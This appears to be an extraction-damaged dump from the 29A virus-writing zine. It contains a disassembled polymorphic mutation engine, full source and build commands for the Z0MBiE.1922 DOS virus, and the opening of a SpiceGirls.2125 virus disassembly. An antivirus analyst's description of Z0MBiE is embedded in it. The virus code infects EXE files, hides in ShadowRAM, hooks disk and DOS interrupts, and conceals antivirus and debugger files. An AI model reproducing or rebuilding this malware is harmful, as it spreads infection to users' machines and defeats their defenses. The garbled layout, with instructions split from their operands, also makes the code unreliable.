'MME v 2.00',0 'ü S.S.R. 1996-97',0

; 2.0??? It's 3.0 ;)

generate_segmentprefix: and al,00011000b add al,26h

; ; ; ;

00h+26h 10h+26h 08h+26h 18h+26h

= = = =

26h 36h 2Eh 3Eh

(ES:) (SS:) (CS:) (DS:)

stosb ret generate_1byteinst: and mov add mov stosb ret generate_reg8reg8: call stosb call and add stosb

ax,0Fh ; AX in [0..15] bp,offset(MME_1byte) bp,ax al,cs:[bp+si] ; Generate 1 byte instruction

generate_toreg8 get_random al,00111111b al,11000000b

; Allow all registers ; Mode 3: Register to Register

ret generate_reg8addr16: call stosb call and add stosb call stosb call stosb ret generate_reg8inm: mov stosb call stosb call stosb ret generate_jmpshort: mov stosb push di inc di call pop bp mov sub ax,bp dec al mov ret generate_shift8: and add stosb call stosb ret generate_in: mov stosb call stosb inc ret di ; Generate NOP get_random ; Random port al,0E4h ; Generate IN AL,xx generate_regop2 al,00000010b al,11010000b ; 8 bits ; [RCL,RCR,ROL,ROR,SHL,SHR,SAL,SAR]

generate_toreg8 get_random al,00111111b al,10000000b get_random get_random

; Allow all registers ; Mode 2: Inmediate 16 bits address ; Generate word

al,10000000b generate_regop get_random

; [3 bytes operation]; to reg; 8 bits

; Generate inmediate value

al,0EBh

; Generate JMP xx (short)

generate_shit ax,di

; 1 to 8 bytes of shit ; Calculate offset of JMP (skip shit)

es:[bp],al

; Store offset

generate_int1_int3: mov stosb call rcr jc nop nop nop

al,0CDh get_random al,1 generate_int3

; Generate INT xx

; Generate int 3? ; Yes? then jmp

mov jmp nop generate_int3: mov al, 3 store_int: stosb ret generate_movdrx: mov stosw call and add stosb ret generate_reg32reg32: mov stosb call and add stosb call and add stosb ret generate_reg32inm32: mov stosw call and add stosb push cx mov l_gen_doubleword: call stosb loop pop cx ret MME_function_table: dw dw dw dw dw dw dw dw dw dw dw dw dw dw

al,1 store_int

; Generate int 1

ax,230Fh get_random al,1Fh al,0C0h

; Generate MOV dr?,extended-register

; AL in [0C0h..0DFh]

al,66h get_random al,00111000b al,00000011b get_random al,00011111b al,11000000b

; Extended register prefix

; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] ; to reg; 16 bits

; Don't use ESP,EBP,ESI,EDI as dest. ; Mode 3: Register to register

ax,8166h get_random al,00111011b al,11000000b

; Extended regs; 6 bytes operation

; Don't use ESP,EBP,ESI,EDI as dest.

cx,4 get_random l_gen_doubleword

; Generate a double word

offset(generate_segmentprefix) offset(generate_1byteinst) offset(generate_reg8reg8) offset(generate_reg8addr16) offset(generate_reg8inm) offset(generate_jmpshort) offset(generate_shift8) offset(generate_in) offset(generate_int1_int3) offset(generate_movdrx) offset(generate_reg32reg32) offset(generate_reg32inm32) offset(generate_reg8reg8) offset(generate_reg8addr16)

dw dw get_random: pushf push mov ror xor inc pop popf ret

offset(generate_reg8inm) offset(generate_jmpshort)

cx in cl,al in al,cl al,cl al cx

al,40h al,40h

; Get random number ; Get random number

generate_toreg8: call and add ret generate_regop: call and add ret generate_regop2: call and add ret ;; Unused code !! ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; call get_random and al,00111111b add al,10000000b ret ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; generate_shit: push get_random al,00111111b al,11000000b ; = generate_regop !! get_random al,00111111b al,11000000b ; All registers ; Mode 3: Register to register get_random al,00111000b al,00000010b ; [ADD,OR,ADC,SBB,AND,SUB,XOR,CMP] ; to reg; 8 bits

cx call and inc mov call

get_random ax,7 ax cx,ax get_random l_gen_shit

; AX in [1..8]

l_gen_shit: stosb loop pop cx ret generate_jx_garbage: call and add ofsret_garbage: stosb push inc di push cx

get_random al,0Fh al,70h ; AL in [70h..7Fh] Generate conditional jump

di

; Save offset address

call and mov inc l_call_table: call mov and shl mov call add call loop pop cx pop bp mov sub mov call call ret generate_call: mov stosb push inc di push di inc cx call and mov inc call mov and shl mov call add call loop pop cx pop bp mov sub mov mov call dec di mov stosb ret make_garbage: push push push

get_random ax,3 cx,ax cx ; CX in [1..4] get_random bx,ax bx,7 ; BX in [0..7] bx,1 ; Select garbage function from table bp,word ptr cs:[bx+si+MME_function_table] get_random bp,si bp ; Call garbage funtion l_call_table

ax,di ax,bp es:[bp],al get_random generate_1byteinst

al,0E8h

; CALL

di get_random ax,3 cx,ax cx

; Space for offset

; AX in [0..3] ; CX in [1..4]

l_call_table2: get_random bx,ax bx,7 ; BX in [0..7] bx,1 ; BX:=BX*2 bp,word ptr cs:[bx+si+MME_function_table] get_random bp,si bp ; Call garbage function l_call_table2

ax,di ax,bp es:[bp],ax al,0EBh ofsret_garbage al,0C3h

; JMP

; Generate RET

ax bp bx call and shl

get_random ax,0Fh ax,1

; [0..15] ; AX:=AX*2

mov mov add call call pop bx pop bp pop ax ret generate_garbage: push cx call and inc mov l_mk_garbage: call loop pop cx ret generate_encryptor: mov mov l_generate_encryptor: call and mov shl shl call mov mov mov mov mov mov mov stosw mov and add mov stosw call sub loop push di mov mov mov l_encrypt_code: mov mov es:[di],al db first_enc_inst equ inc inc bp loop pop di call mov

bp,ax ; Select garbage funtion bx,word ptr cs:[bp+si+MME_function_table] bx,si get_random bx ; Call garbage table

get_random ax,3 ax cx,ax make_garbage l_mk_garbage

; AX in [0..3] ; CX in [1..4]

cx,8 ; 8 encryption/decryption instructions bx,offset(first_enc_inst) get_random ax,3 ; AX in [0..3] bp,ax bp,1 bp,1 ; BP:=AX*4 get_random cs:[si+_mask],al ; Generate mask ax,word ptr cs:[bp+si+encrypt_table] ; Encrypt op. cs:[bx+si],ax ; Store it ax,word ptr cs:[bp+si+encrypt_table+2] ah,cs:[si+_mask] ; xxx es:[xx],_mask cs:[bx+si+2],ax ax,word ptr cs:[bp+si+decrypt_table] ; Decrypt op. ; Store it ax,word ptr cs:[bp+si+decrypt_table+2] al,0F8h ; Clear index register al,cs:[si+indexop_reg] ; Register index [xx] ah,cs:[si+_mask] ; xxx cs:[xx],_mask generate_garbage bx,4 l_generate_encryptor cx,cs:[si+length_code] di,MME_DEC_SIZE bp,cs:[si+base_code] al,ds:[bp] 8*4 dup(90h) $-4 di l_encrypt_code generate_garbage al,48h ; Generate DEC register index ; 8 instructions; 4 bytes each one

; and decryptor ; Bytes to encrypt ; Destination ; Source

add stosb call mov add stosw mov add stosw mov stosw mov sub ax,di stosw mov stosb mov sub ax,di dec ax dec ax stosw mov sub l_shit: call stosb loop ret encrypt_table: xor add sub add decrypt_table: xor sub add sub ofs_in_file base_code length_code indexop2_reg return_retf _mask indexop_reg decryptor_ofs addr_retf MME_1byte: cli cmc stc clc std cld aaa daa aas das sti cbw dw dw dw db dw db db dw dw

al,cs:[si+indexop2_reg] generate_garbage ax,0F881h ; Generate CMP reg index,end decryption ah,cs:[si+indexop2_reg] ax,cs:[si+ofs_in_file] ax,MME_DEC_SIZE-1 ax,840Fh ; Generate JE xxxx (JE decrypted code)

ax,MME_DEC_SIZE-2

al,0E9h

; Generate JMP xxxx (decryptor loop) ; Start of decryptor

ax,cs:[si+decryptor_ofs]

cx,MME_DEC_SIZE cx,di ; Fill free space with shit get_random l_shit

byte byte byte byte byte byte byte byte 0 0 0 0 0 0 0 0 0

ptr ptr ptr ptr ptr ptr ptr ptr

es:[di],0 es:[di],0 es:[di],0 es:[di],0 cs:[di],0 cs:[di],0 cs:[di],0 cs:[di],0

cwd int db nop regop2_table: db db db db regop_table: db db db db db db db end_mme: MME30 public

3 0F3h

; REP

0FFh 0F6h 0FFh 0F6h

; ; ; ;

DI SI DI SI

5 4 5 4

; ; ; ;

DI SI DI SI

'Metamorphic Mutation Engine v 3.00',0 '(C) Stainless Steel Rat 1996-97',0 'It''s C00LEST Engine',0

ends mme_engine end

; End of MME 3.0 disasm ; (c) 1997, Tcp/29A (tcp@cryogen.com)

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ ³ Z0MBiE.1922 ³ ³ written by Z0MBiE ³ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄThis virus is related with the Win95.Z0MBiE virus, also included in this issue of 29A, in the "Win32" section. It is dropped in the root directory of every drive in which Win95.Z0MBiE has infected a PE file, with the system and archive attributes. From that moment onwards, Z0MBiE.1922 is able to spread all over the HD with independence of what his "daddy" does. This DOS virus is the first ever to use ShadowRAM in order to go resident. This new technique has many advantages, and maybe the most important is that it is impossible to unhook the virus by normal means, as its code is locked and is only accesable when performing the infection tasks, after being called from int 13h or int 21h. Z0MBiE has many other peculiarities, described below by Igor Daniloff in his analysis of this virus.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 Zombie.1922 Igor Daniloff DialogueScience Zombie.1922 is a destructive resident encrypted virus. It is a "product of the life activity" of Win95.Zombie. After creation, Zombie.1922 "leads a full-fledged life" all by itself. Win95.Zombie creates a file ZSetUP.EXE in the root directory of every drive it infects. On starting ZSetUP.EXE, the virus code gets control and examines whether it (the virus) can open RAM Shadow for writing. Then it determines a 2122-byte block of free memory (of zero bytes) in the segment 0C000h. If it succeeds in this, the virus determines the location address of the 8x14 system font. If this font exists in the segment 0C000h and if the address of the original Int 13h handler is available in the segment 0F000h, the virus opens RAM Shadow for writing and plants its code in the zero byte region or at the location of the 8x14 system font. Then the virus modifies the original Int 13h handler by inserting a command for transferring control to the virus procedure. Finally, RAM Shadow is "closed" to lock it from further writing. On reading the sector (f.2 Int 13h) of initial signature "MZ", the virus "intercepts" Int 21h, whose handler infects every EXE that is started or opened for reading or writing. While reading the sectors containing directory or file entries, the virus looks for the byte strings ADINF, AIDS, AVP, WEB, DRWEB, ---, CPP, C, S-ICE, TD, DEBUG, WEB70801, and CA. On detecting any such string, the virus sets in the sector just read the first byte OE5h (attribute for a deleted file) for the detected entry and "overwrites" all other bytes with zeros in the entry. Thus, if the virus is active, the operating system will not even suspect the presence of these files in the drive. The virus handlers of Int 13h and Int 21h, upon receiving control, "open" RAM Shadow, launch their procedures, and finally "close" RAM Shadow. Without appropriate shadow memory manipulations, it is not possible to kill or eradicate the resident virus code. On detecting this virus in the memory, the system must be cured by starting the machine from an independent boot diskette containing a "clean" operating system. Beware! Zombie.1922 is, apparently, clever enough to open RAM Shadow on most of the modern system boards with Pentium. The virus contains a few text strings: Z0MBiE`1668 v1.00 (c) 1997 Z0MBiE

; ; ; ; ; ; ; ; ; ; ; ; ; ;

Tnx to S.S.R. ShadowRAM/Virtual Process Infector ShadowRAM Technology (c) 1996,97 Z0MBiE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8

Compiling it ÄÄÄÄÄÄÄÄÄÄÄÄ tasm /m zombie.asm tlink zombie.obj exe2bin zombie.exe zombie.com

- -[ZOMBIE.ASM] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 #equ.inc #macro.inc #struc.inc #header.inc org 100h tsr_sh

include include include include

start: jmp exe_start: sux

mov al, es:[0028h] label word not al ; normal: al=0 ; web: al<>0 xor cs:@@sux, al lea mov mov segcs inc shl or loop mov label inc cmp jne jmp equ call mov int cmp je call si, real_code di, si cx, 8 lodsb ax bx, 1 bx, ax @@1 cs:[di], bl byte di di, offset real_code + vir_size + stamms_max_ip @@2 $+2 $-start stamm ax, in_ID 13h ax, out_ID @@continue tsr_sh cx, es cx, 16

@@2: @@1:

@@sux

decr_size real_code:

@@continue:

mov add

lastword

mov ax, 1234h save_ss add ax, cx

lastword

mov ss, ax mov sp, 1234h save_sp mov save_cs add push push save_ip xor retf ax, 1234h ax, cx ax 1234h

lastword

lastword

ax, ax

include include include include include include include include include include include vir_size include tsr_size

rnd.inc sh_ram.inc tsr_sh.inc findR13.inc ints.inc infect.inc hook21.inc fuck13.inc switch13.inc const.inc stamms.inc equ var.inc equ org db $-start ($-start+256+15) and (not 15) 256 dup (?) ($-start+256+15)/16 $-start

exe_endofstack: exe_memory equ

end start ; - -[#EQU.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 in_ID out_ID v_size b0 b1 b2 b3 w0 w1 w2 w3 l h offs segm equ equ equ equ equ equ equ equ equ equ equ equ equ equ equ 'ð ' '’Œ' decr_size + (vir_size + stamms_max_ip) * 8 (byte (byte (byte (byte (word (word (word (word w0 w2 w0 w2 ptr ptr ptr ptr ptr ptr ptr ptr 0) 1) 2) 3) 0) 1) 2) 3)

; flags fl_CF fl_PF fl_AF fl_ZF fl_SF fl_TF fl_IF fl_OF equ equ equ equ equ equ equ equ 0001h 0004h 0010h 0040h 0080h 0100h 0200h 0800h

; dos file attributes fa_readonly fa_hidden fa_system fa_volumeid fa_directory fa_archive fa_infect equ equ equ equ equ equ equ 01h 02h 04h 08h 10h 20h fa_readonly + fa_hidden + fa_system + fa_archive

; - -[#MACRO.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 mve macro push pop endm macro db endm macro equ endm macro equ endm x, y y x

setalc

0D6h

lastword name

name word ptr $-2

lastbyte name

name byte ptr $-1

; - -[#STRUC.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; dta dta_struc dta_drive dta_name8 dta_ext3 dta_searchattr dta_num dta_dircluster dta_attr dta_time dta_date dta_size dta_name struc db db db db dw dw dd db dw dw dd db ends

? 8 dup (?) 3 dup (?) ? ? ? ? ? ? ? ? 13 dup (?)

; 0=a,1=b,2=c

; 0=. 1=.. ; ; ; ; unused 1=r 32=a 16=d 2=h 4=s 8=v çççç第¬ ¬¬¬ááááá £££££££¬ ¬¬¬¤¤¤¤¤

; exe header exe_struc struc

exe_mz exe_last512 exe_num512 exe_relnum exe_headersize exe_minmem exe_maxmem exe_ss exe_sp exe_checksum exe_ip exe_cs exe_relofs exe_ovrnum exe_neptr

dw dw dw dw dw dw dw dw dw dw dw dw dw dw db dd ends

? ? ? ? ? ? ? ? ? ? ? ? ? ? 32 dup (?) ?

; sys header sys_header sys_nextdriver sys_attr sys_strategy sys_interrupt sys_name struc dd dw dw dw db ends ; sft sft_struc sft_handles sft_openmode sft_attr sft_flags sft_deviceptr sft_filecluster sft_date sft_time sft_size sft_pos sft_lastFclustr sft_dirsect sft_dirpos sft_name sft_chain sft_uid sft_psp sft_mft sft_lastclust sft_ptr struc dw dw db dw dd dw dw dw dd dd dw dd db db dd dw dw dw dw dd ends

? ? ? ? 8 dup (?)

; last driver: offset = FFFF

? ? ? ? ? ? ? ? ? ? ? ? ? 11 dup (?) ? ? ? ? ? ?

; share.exe ; share.exe ; share.exe

; - -[#HEADER.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 .model .code .386p assume locals jumps tpascal

ds:code @@

; - -[RND.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; random number generator ; output: ax=random(65536) ; zf=rnd(2) random: lastword push mov rndword in xor in add in sub in xor in add in sub mov xchg pop test ret bx bx, 1234h al, 40h bl, al al, 40h bh, al al, 41h bl, al al, 41h bh, al al, 42h bl, al al, 42h bh, al cs:rndword, bx bx, ax bx al, 1

; input: ax ; output: ax=random(ax) ; zf=rnd(2) rnd: push push xchg call xor div xchg pop pop test ret bx dx bx, ax random dx, dx bx dx, ax dx bx al, 1

; - -[SH_RAM.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 ; shadow ram manager ; save shadowram state save_sh_state: push mov call mov inc call mov inc call mov cx cl, 59h cf8_read CS:state_F000, ch cx cf8_read CS:state_C000, ch cx cf8_read CS:state_C800, ch

pop ret

cx

; restore shadowram state rest_sh_state: nop push cx ; nop/ret

lastbyte

mov cx, 0059h state_F000 call cf8_write inc cx mov ch, 12h state_C000 call cf8_write inc cx mov ch, 12h state_C800 call cf8_write pop ret cx

lastbyte

lastbyte

; enable shadowram write disable_sh: push mov mov and or call inc mov call inc mov call pop ret cx cl, 59h ch, CS:state_F000 ch, 10001111b ch, 00110000b cf8_write cx ch, 00110011b cf8_write cx ch, 00110011b cf8_write cx

; read PCI register cf8_read: push call in mov pop ret eax dx cf8_main al, dx ch, al dx eax

; write PCI register cf8_write: push eax dx

call mov out pop ret cf8_main: mov mov and mov out add mov and add ret

cf8_main al, ch dx, al dx eax

eax, 80000000h al, cl al, 11111100b dx, 0CF8h dx, eax dl, al, al, dl, 4 cl 11b al

; - -[TSR_SH.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 rnd_size scan_size equ equ 66 tsr_size + rnd_size

; <ds=cs> ; <DF=0> ; output: ZF tsr_sh: push mve cli cld call mov inc jz call jne call je IF call je call je ENDIF ; ZF=0 ret save_sh_state al, state_F000 al @@exit find_real_13 @@exit scan_C000 @@ok SCAN_SIZE LE 14*256 scan_8x14_1 @@ok scan_8x14_2 @@ok ; FF ds es ds, cs

@@ok:

call mov call add add and shr mov add sub mov lea mov mov mov mov lea mov rep call call xor

disable_sh ax, rnd_size rnd bp, ax bp, bp, bp, ax, ax, ax, es, di, 15 not 15 4 es bp 16 ax start

EA, 0EAh EA.w1, offset int_13_sh EA.w3, es my_seg, es si, start cx, tsr_size movsb switch_13 rest_sh_state ax, ax ; CF=0 es ds ZF=1

@@exit:

pop ret mve xor xor mov shl jnc mov

scan_C000:

es, 0C000h di, di dl, dl dh, es:[di+2] dx, 1 @@1 dh, 80h

; C000:0000

; dx = bios size in WORDs

; in BYTEs ; max 64k

@@1:

sub xor

dx, scan_size + 32 ax, ax bp, di cx, (scan_size + 1) / 2 scasw @@exit di, dx @@2

@@2:

mov mov repe je cmp jbe

@@exit:

ret IF SCAN_SIZE LE 14*256 ax, 1130h

scan_8x14_1:

mov

mov int mov cmp ret scan_8x14_2: mve xor mov xor repe jnz mov repe cmp jne cmp je @@1: cmp jbe mov ret ENDIF

bh, 2 10h ax, es ax, 0c000h

; 8x14

es, 0c000h di, di cx, 14 al, al scasb @@1 cx, 16 scasb es:[di-1].w0, 1000000101111110b @@1 es:[di-1+14].w0, 1111111101111110b @@3 di, 0f000h @@2 bp, di

@@2:

@@3:

; - -[FINDR13.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 find_real_13: mov int mov mov mov int cmp ret ah, 13h 2Fh cx, es cs:real_13.offs, bx cs:real_13.segm, es 2Fh cx, 0F000h

; - -[INTS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 int_21: cmp je cmp je cmp je cmp je exit_21: old_21 infect_dsdx: db dd call jmp mov ax, in_id ax_in_id ax, 4b00h infect_dsdx ah, 43h infect_dsdx ah, 3Dh infect_dsdx 0eah ? infect_file exit_21 ax, out_id

ax_in_id:

iret int_13_sh: cmp je call call mov call pushf db dd pushf call cmp jne cmp jne call @@2: call @@1: call call popf retf switch_13 rest_sh_state analize_13_02 ax, in_id ax_in_id disable_sh switch_13 cs:save_ax, ax rest_sh_state

real_13

09Ah ?

disable_sh CS:save_ax.b1, 02h @@1 es:[bx].w0, 'ZM' @@2 hook_21

2

; - -[INFECT.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 call21: pushf call ret call mov pusha push cld ; ; ;@@0: ; ; ; ; ; mov cld mov lodsb or jnz cmp jne mov call jc xchg mov mve

cs:old_21

infect_file:

disable_sh CS:rest_sh_state.b0, 0C3H

ds es

si, dx ah, al al, al @@0 ah, '_' @@exit ax, 3D00h call21 @@exit bx, ax ah, 3Fh ds, cs

lea mov call cmp jne mov cmp je cmp jne @@mz: cmp je mov xor mov shl call mov lea mov call cmp jne

dx, header cx, size exe_struc call21 ax, cx @@close ax, header.exe_mz ax, 'ZM' @@mz ax, 'MZ' @@close header.exe_checksum.b0, 'i' @@close ax, 4200h cx, cx dx, header.exe_headersize dx, 4 call21 ah, 3Fh dx, tempword1 cx, 2 call21 ax, cx @@close

lastword

mov ax, 1234h tempword1 inc ax jz @@close push mov int mov mov int pop mov mov or jz mov div or jz mov mve mov dec mov mul add adc mov mov bx ax, 1220h 2Fh bl, es:[di] ax, 1216h 2Fh bx dx, es:[di].sft_size.h ax, es:[di].sft_size.l al, al @@exit cx, 1000 cx dx, dx @@exit es:[di].sft_openmode, 2 es, cs ax, ax cx, cx ax, dx, si, di, header.exe_num512 512 header.exe_last512 0 ax dx

mov cwd xor call cmp jne cmp jne add adc and sub sub push push shr shl or sub sub mov xchg mov lea xchg mov mov xchg mov lea xchg mov add add add mov mov pop pop call call mov lea mov call lea

ax, 4202h cx, cx call21 ax, si @@close dx, di @@close ax, 15 dx, 0 al, not 15 si, ax header.exe_last512, si ax dx ax, dx, ax, ax, ax, 4 12 dx header.exe_headersize 16

cx, ax cx, header.exe_cs save_cs, cx cx, exe_start cx, header.exe_ip save_ip, cx cx, ax cx, header.exe_ss save_ss, cx cx, exe_endofstack cx, header.exe_sp save_sp, cx header.exe_minmem, exe_memory header.exe_num512, v_size / 512 header.exe_last512, v_size mod 512 header.exe_checksum.b0, 'i' ax, 4200h cx dx call21 gen_stamm ah, 40h dx, start cx, decr_size call21 si, real_code

@@1:

lea mov lodsb xchg mov

di, buf cx, 8

@@2:

dx, ax bp, 8 ax, ax dl, 1 ax, 1 ax

@@3:

xor shl rcl dec stosb dec jnz loop mov lea mov call cmp jb mov cwd xor call mov lea mov call

bp @@3 @@2 ah, 40h dx, buf cx, 64 call21 si, offset real_code + vir_size + stamms_max_ip @@1 ax, 4200h cx, cx call21 ah, 40h dx, header cx, size exe_struc call21 ah, 3Eh call21 es ds

@@close:

mov call pop popa mov call ret

@@exit:

CS:rest_sh_state.b0, 90H rest_sh_state

gen_stamm:

lea mov stosb mov xor rep mov mov out in cmp jne

di, stamm al, 0C3h

; RET

cx, stamms_max_ip - 1 ax, ax stosb sux, 0D0F6h al, 8 70h, al al, 71h al, 10 @@exit ; month ; not al

; october ?

mov mov call xchg imul add mov @@1: lodsw xchg add movsb lodsw xchg add movsd loop @@exit: ret

sux, 00B0h ax, rnd si, si, si, stamms_num

; mov al, 0

ax (2+1+2+4)*2 offset stamm_1

cx, 2

di, ax di, offset stamm

di, ax di, offset stamm

@@1

; - -[HOOK21.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 hook_21: pusha push xor mov les or jz mov int cmp je mov mov mov mov @@1: pop popa ret ; - -[FUCK13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 analize_13_02: pusha mov dx, 1234h save_ax xor dh, dh shl dx, 4 lea mov xor cld di, [bx+12] cx, 10 al, al

ds es si, ds, bx, bx, @@1 si si ds:[si+21h*4] bx

ax, in_id 21h ax, out_id @@1 cs:old_21.offs, bx cs:old_21.segm, es ds:[si+21h*4].offs, offset int_21 ds:[si+21h*4].segm, cs es ds

lastword

@@1:

repe jne lea @@2: mov mov mov @@3: segcs cmp je cmp jae cmp jne inc loop mov mov stosb xor mov rep jmp @@nxt: add cmp jne add dec jnz popa ret

scasb @@next bp, bad cx, 11 si, bp di, bx lodsb al, '°' @@6 al, 128 @@4 es:[di], al @@nxt di @@3 di, bx al, 0E5h ax, ax cx, 31 stosb @@next bp, 11 bp, offset bad_end @@2 bx, 32 dx @@1

@@6: @@4:

@@next:

; - -[SWITCH13.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 switch_13: push lds push my_seg pop lea mov xchg mov inc inc cmp jne pop ret ax si di ds es si, cs:real_13 1234h es di, EA al, [si] al, es:[di] [si], al si di di, offset EA + 5 @@1 es ds di si ax

lastword

@@1:

; - -[CONST.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 db 13,10,10 db 'Z0MBiE`' IF VIR_SIZE GE 1000 db vir_size / 1000 mod 10 + '0' ENDIF db vir_size / 100 mod 10 + '0' db vir_size / 10 mod 10 + '0' db vir_size / 1 mod 10 + '0' db ' v1.00 (c) 1997 Z0MBiE',13,10 db 'Tnx to S.S.R.',13,10 db 'ShadowRAM/Virtual Process Infector',13,10 DB 'ShadowRAM Technology (c) 1996,97 Z0MBiE',13,10 ; ¯®å¥à¨¬ ¨å ;) bad: db db db db db db db db db db db db db 'ADINF-£ ¢-®' 'AIDS-¯®£ -ì' 'AVP--á ªá--' 'WEB--ã©®¡®ª' 'DRWEB-⮦¥-' '-åã©-ï--°°°' '-¤¥à쬮-CPP' '-¥- ¢¨¦ãC ' 'S-ICE-àã«¥§' 'TD-¬ áâ-¤ ©' 'DEBUG--£ã¤-' 'WEB70801íâ®' 'CA-¬®ñ--AV-'

bad_end: ; - -[STAMMS.INC] - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm_1: dw db dw dd dw db dw dd stamm_2: dw db dw dd dw db dw dd stamm_3: dw db dw dd dw db dw dd stamm_4: dw 003eh 0032h 01eh 005eh 001b82595h 00c5h 033h 00e1h 0b104c9e9h 0006h 0b4h 0022h 0f1ebf71eh 00b3h 080h 00dfh 03d021624h 0015h 01eh 0051h 0091e60f1h 00bdh 0a3h 00f7h 00b7405fah

db dw dd dw db dw dd stamm_5: dw db dw dd dw db dw dd stamm_6: dw db dw dd dw db dw dd stamm_7: dw db dw dd dw db dw dd stamm_8: dw db dw dd dw db dw dd stamm_9: dw db dw dd dw db dw dd stamms_num stamms_max_ip equ equ

0fah 005ah 08b134c0bh 00cdh 080h 00f9h 059e0df7fh 0009h 02eh 0025h 0e809e525h 0037h 0e8h 0063h 04b02f8a4h 0009h 050h 0025h 000845225h 0043h 080h 006fh 003449a4eh 001ah 050h 0046h 0c033cbadh 0085h 0a1h 00a1h 0a306fd1bh 0036h 0b8h 0052h 050e0c65bh 00b2h 09ch 00deh 08ec9e34eh 0007h 08eh 0023h 002a20883h 00b3h 091h 00dfh 00315fe59h 9 254

; - -[VAR.INC]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 stamm: EA my_seg2 db stamms_max_ip dup ('?') db dw dw ? ? ?

header buf

exe_struc ? db 64 dup (?)

SpiceGirl family ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ These are harmless memory resident parasitic viruses. They hook INT 21h and write themselves to the beginning of COM files (except COMMAND.COM) that are accessed. The viruses are encrypted starting from 1619 bytes version. Starting from 2123 bytes version they are semi-stealth - on opening an infected file they create temporary file, write to there disinfected copy of original file, and return "handle" of disinfected copy instead of original file. On closing these viruses delete the temporary file. The viruses use new way to avoid detection - the infected files have no entry point (start code). The address of entry point in infected files is out of file body and it is impossible to reach virus code by parsing EXE header. To realize this method the virus uses several PSP (Program's Segment Prefix) and EXE header tricks. The format of virus code is EXE, i.e. the virus as a program is EXE program with EXE header, relocation table and so on (as a result infected COM files are of EXE internal format). EXE header fields in virus (initial CS and IP) are patches so, that entry address points not to file code, but to PSP data (i.e. out of file). At that address PSP contains RET FAR code that follows the call to INT 21h handler. So, the virus entry address points to RET FAR code, and control then will be passed to code that is pointed by stack. To pass the control to its real entry code the virus has initial stack registers (SS and SP) in its EXE header and stack data that points to real entry: ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿ PSP Control flow ³CD 20 ³ ³ ³ ³ ³CD 21 ³ ³ ³CB / RET FAR³ Entry address, DOS will <ÄÄÄÄij ³ bring control to here ÄÄÄÄÄ¿ ³ 0100 ÉÍÍÍÍÍÍÍÍÍÍÍÍ» Virus code (file image) ³ º º ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ ºStack º Stack data points to ÄÄÄÄ>³ º º real entry ³ ÇÄÄÄÄÄÄÄÄÄÄÄĶ ³ º º Real virus entry code <ÄÄÄÄĺ . . . º 0000 .... 0050 0052 .... The virus contain the text strings: What? 'Error: invalid program'? Me? Fprot, are you crazy? :) And you, Avp, 'EXE file but COM extension'. What a deep scan. ;) Spice_Girls virus causes problems to your scan engine eh? :) ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[SPIC2125.ASM]ÄÄ comment * SpiceGirls.2125 Disassembled by Darkman/29A SpiceGirls.2125 is a 2125 bytes parasitic resident COM virus. Infects files at open file, close file, get or set file attributes, load and/or execute program and rename file by prepending an EXE header and the virus to the infected file. SpiceGirls.2125 has an error handler, anti-heuristic techniques, anti-debugging techniques, disinfection on fly and is oligomorphic in file using its internal oligomorphic engine. To compile SpiceGirls.2125 with Turbo Assembler v 4.0 type: TASM /m SPIC2125.ASM

TLINK /t /x SPIC2125.OBJ * .model tiny .code org 100h head_begin: pages_begin: db bytes_on_las dw pages_in_fil dw dw dw dw dw db dd dw dw relo_begin: relocations dd dd dd relo_end: db head_end: code_begin: db stack_ptr: dd dw dw dw crypt_size dw crypt_key dw virus_begin: pop_reg16 equ pop decrypt_loop: decrypt_algo equ index_reg equ add index_reg_ equ add_idx_imm8 equ add loop nop crypt_begin: mov push pop push pop nop nop nop

; Origin of SpiceGirls.2125

'MZ'

; EXE signature (pages_end-pages_begin) mod 200h (pages_end-pages_begin)/200h (relo_end-relo_begin)/04h (head_end-head_begin)/10h 00h,01h ; Minimum-, maximum number of para... 0ffeah,stack_ptr ; Pointer to stack 'SG' ; Checksum 0ffea00b2h ; Pointer to service request + 02h relocations-100h ; Offset of relocations - 100h 00h ; Overlay number (main program) 0ffea0178h,0ffea017ch,0ffea0180h,0ffea0184h,0ffea0188h 0ffea018ch,0ffea0190h,0ffea0194h,0ffea01beh,0ffea01f8h 0ffea0206h,0ffea0218h,0ffea0228h,0ffea025ch,0ffea0272h 08h dup(00h)

